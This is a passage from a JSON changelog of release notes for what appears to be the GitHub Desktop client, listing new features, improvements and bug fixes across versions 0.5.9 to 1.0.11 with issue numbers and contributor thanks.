Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521", "[Fixed] Preserve the selected pull request when a manual fetch is done - #3524", "[Fixed] Update pull request badge after switching branches or pull requests - #3454", "[Fixed] Restore keyboard arrow navigation for pull request list - #3499" ], "1.0.11": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521" ], "1.0.11-test0": [ "[Improved] now with a new major version of electron-packager" ], "1.0.11-beta0": [ "[Improved] Refresh the pull requests list after fetching - #3503", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] URL encode branch names when creating a pull request - #3509", "[Fixed] Windows: detecting available editors and shells now works even when the group policy blocks write registry access - #3105 #3405" ], "1.0.10": [ "[New] ColdFusion Builder is now a supported external editor - #3336 #3321. Thanks @AtomicCons!", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell on Windows too - #3455. Thanks @JordanMussi!", "[New] Swift is now syntax highlighted - #3305. Thanks @agisilaos!", "[New] Vue.js is now syntax highlighted - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted - #3356. Thanks @agisilaos!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[New] Objective-C is now syntax highlighted - #3355. Thanks @koenpunt!", "[New] SQL is now syntax highlighted - #3389. Thanks @say25!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta3": [ "[New] Change \"Create Pull Request\" to \"Show Pull Request\" when there is already a pull request open for the branch - #2524", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell - #3455. Thanks @JordanMussi!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[Improved] Use the same colors in pull request dropdown as we use on GitHub.com - #3451", "[Improved] Fancy pull request loading animations - #2868", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Refresh the pull request list when the Push/Pull/Fetch button is clicked - #3448", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta2": [ "[New] SQL is now syntax highlighted! - #3389. Thanks @say25!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304" ], "1.0.10-beta1": [ "[New] Vue.js code is now syntax highlighted! - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted! - #3356. Thanks @agisilaos!", "[New] Highlight .m as Objective-C - #3355. Thanks @koenpunt!", "[Improved] Use smarter middle truncation for branch names - #3357", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!" ], "1.0.10-beta0": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta1": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta0": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8-beta0": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7-beta0": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.6": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.5": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!", "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-beta1": [ "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-test1": [], "1.0.5-test0": [], "1.0.5-beta0": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!" ], "1.0.4": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917" ], "1.0.4-beta1": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917 #2917" ], "1.0.4-beta0": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.3": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.2": [ "[Improved] Better message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta1": [ "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta0": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1-beta0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0-beta3": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.1": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "1.0.0-beta2": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.0": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.8.2": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[New] Option to opt-out of confirming discarding changes - #2681", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta1": [ "[New] Option to to opt-out of confirming discarding changes - #2681", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta0": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646" ], "0.8.1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488", "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Ensure the repository list is always accessible - #2648" ], "0.8.1-beta4": [ "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502" ], "0.8.1-beta3": [ "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541" ], "0.8.1-beta2": [ "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520" ], "0.8.1-beta1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488" ], "0.8.1-beta0": [], "0.8.0": [ "[New] Added commit context menu - #2434", "[New] Added 'Open in External Editor' - #2009", "[New] Can choose whether a branch should be deleted on the remote as well as locally - #2136", "[New] Support authenticating with non-GitHub servers - #852", "[New] Added the ability to revert a commit - #752", "[New] Added a keyboard shortcut for opening the repository in the shell - #2138", "[Improved] Copied diff text no longer includes the line changetype markers - #1499", "[Improved] Fetch if a push fails because they need to pull first - #2431", "[Improved] Discard changes performance - #1889", "[Fixed] Show 'Add Repository' dialog when repository is dragged onto the app - #2442", "[Fixed] Dialog component did not remove event handler - #2469", "[Fixed] Open in External Editor context menu - #2475", "[Fixed] Update to Git 2.14.1 to fix security vulnerability - #2432", "[Fixed] Recent branches disappearing after renaming a branch - #2426", "[Fixed] Changing the default branch on GitHub.com is now reflected in the app - #1489", "[Fixed] Swap around some callouts for no repositories - #2447", "[Fixed] Darker unfocused selection color - #1669", "[Fixed] Increase the max sidebar width - #1588", "[Fixed] Don't say \"Publish this branch to GitHub\" for non-GitHub repositories - #1498", "[Fixed] macOS: Protocol schemes not getting registered - #2429", "[Fixed] Patches which contain the \"no newline\" marker would fail to apply - #2123", "[Fixed] Close the autocompletion popover when it loses focus - #2358", "[Fixed] Clear the selected org when switching Publish Repository tabs - #2386", "[Fixed] 'Create Without Pushing' button throwing an exception while opening a pull request - #2368", "[Fixed] Windows: Don't removing the running app out from under itself when there are updates pending - #2373", "[Fixed] Windows: Respect `core.autocrlf` and `core.safeclrf` when modifying the .gitignore - #1535", "[Fixed] Windows: Fix opening the app from the command line - #2396" ], "0.7.3-beta5": [], "0.7.3-beta4": [], "0.7.3-beta3": [], "0.7.3-beta2": [], "0.7.3-beta1": [], "0.7.3-beta0": [], "0.7.2": ["[Fixed] Issues with auto-updating to 0.7.1."], "0.7.2-beta0": [], "0.7.1": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Improved] Version text is now copiable - #1935", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta5": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta4": [], "0.7.1-beta3": [], "0.7.1-beta2": [], "0.7.1-beta1": [], "0.7.1-beta0": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299" ], "0.7.0": [ "[New] Added the Branch > Create Pull Request menu item - #2135", "[New] Added the `github` command line tool - #696", "[Improved] Better error message when publishing a repository fails - #2089", "[Improved] Windows: Don't recreate the desktop shortcut if it's been deleted - #1759", "[Fixed] Cloning a repository's wiki - #1624", "[Fixed] Don't call GitHub Enterprise GitHub.com - #2094", "[Fixed] Don't push after publishing a new repository if the branch is unborn - #2086", "[Fixed] Don't close dialogs when clicking the title bar - #2056", "[Fixed] Windows: Clicking 'Show in Explorer' doesn't bring Explorer to the front - #2127", "[Fixed] Windows: Opening links doesn't bring the browser to the front - #1945", "[Fixed] macOS: Closing the window wouldn't exit fullscreen - #1901", "[Fixed] Scale blankslate images so they look nicer on high resolution displays - #1946", "[Fixed] Windows: Installer not completing or getting stuck in a loop - #1875 #1863", "[Fixed] Move the 'Forgot Password' link to fix the tab order of the sign in view - #2200" ], "0.6.3-beta7": [], "0.6.3-beta6": [], "0.6.3-beta5": [], "0.6.3-beta4": [], "0.6.3-beta3": [], "0.6.3-beta2": [], "0.6.3-beta1": [], "0.6.3-beta0": [], "0.6.2": [ "[New] Link to User Guides from the Help menu - #1963", "[New] Added the 'Open in External Editor' contextual menu item to changed files - #2023", "[New] Added the 'Show' and 'Open Command Prompt' contextual menu items to repositories - #1554", "[New] Windows: Support self-signed or untrusted certificates - #671", "[New] Copy the SHA to the clipboard when clicked - #1501", "[Improved] Provide the option of initializing a new repository when adding a directory that isn't already one - #969", "[Improved] Link to the working directory when there are no changes - #1871", "[Improved] Hitting Enter when selecting a base branch creates the new branch - #1780", "[Improved] Prefix repository names with their owner if they are ambiguous - #1848", "[Fixed] Sort and filter licenses like GitHub.com - #1987", "[Fixed] Long branch names not getting truncated in the Rename Branch dialog - #1891", "[Fixed] Prune old log files - #1540", "[Fixed] Ensure the local path is valid before trying to create a new repository - #1487", "[Fixed] Support cloning repository wikis - #1624", "[Fixed] Disable the Select All checkbox when there are no changes - #1389", "[Fixed] Changed docx files wouldn't show anything in the diff panel - #1990", "[Fixed] Disable the Merge button when there are no commits to merge - #1359", "[Fixed] Username/password authentication not working for GitHub Enterprise - #2064", "[Fixed] Better error messages when an API call fails - #2017", "[Fixed] Create the 'logs' directory if it doesn't exist - #1550", "[Fixed] Enable the 'Remove' menu item for missing repositories - #1776" ], "0.6.1": [ "[Fixed] Properly log stats opt in/out - #1949", "[Fixed] Source maps for exceptions in the main process - #1957", "[Fixed] Styling of the exception dialog - #1956", "[Fixed] Handle ambiguous references - #1947", "[Fixed] Handle non-ASCII text in diffs - #1970", "[Fixed] Uncaught exception when hitting the arrow keys after showing autocompletions - #1971", "[Fixed] Clear the organizations list when publishing a new repository and switching between tabs - #1969", "[Fixed] Push properly when a tracking branch has a different name from the local branch - #1967", "[Improved] Warn when line endings will change - #1906" ], "0.6.0": [ "[Fixed] Issue autocompletion not working for older issues - #1814", "[Fixed] GitHub repository association not working for repositories with some remote URL formats - #1826 #1679", "[Fixed] Don't try to delete a remote branch that no longer exists - #1829", "[Fixed] Tokens created by development builds would be used in production builds but wouldn't work - #1727", "[Fixed] Submodules can now be added - #708", "[Fixed] Properly handle the case where a file is added to the index but removed from the working tree - #1310", "[Fixed] Use a local image for the default avatar - #1621", "[Fixed] Make the file path in diffs selectable - #1768", "[Improved] More logging! - #1823", "[Improved] Better error message when trying to add something that's not a repository - #1747", "[Improved] Copy the shell environment into the app's environment - #1796", "[Improved] Updated to Git 2.13.0 - #1897", "[Improved] Add 'Reveal' to the contextual menu for changed files - #1566", "[Improved] Better handling of large diffs - #1818 #1524", "[Improved] App launch time - #1900" ], "0.5.9": [ "[New] Added Zoom In and Zoom Out - #1217", "[Fixed] Various errors when on an unborn branch - #1450", "[Fixed] Disable push/pull menu items when there is no remote - #1448", "[Fixed] Better error message when the GitHub Enterprise version is too old - #1628", "[Fixed] Error parsing non-JSON responses - #1505 #1522", "[Fixed] Updated the 'Install Git' help documentation link - #1797", "[Fixed] Disable menu items while in the Welcome flow - #1529", "[Fixed] Windows: Fall back to HOME if Document cannot be found - #1825", "[Improved] Close the window when an exception occurs - #1562", "[Improved] Always use merge when pulling - #1627", "[Improved] Move the 'New Branch' menu item into the Branch menu - #1757", "[Improved] Remove Repository's default button is now Cancel - #1751", "[Improved] Only fetch the default remote - #1435", "[Improved] Faster commits with many files - #1405", 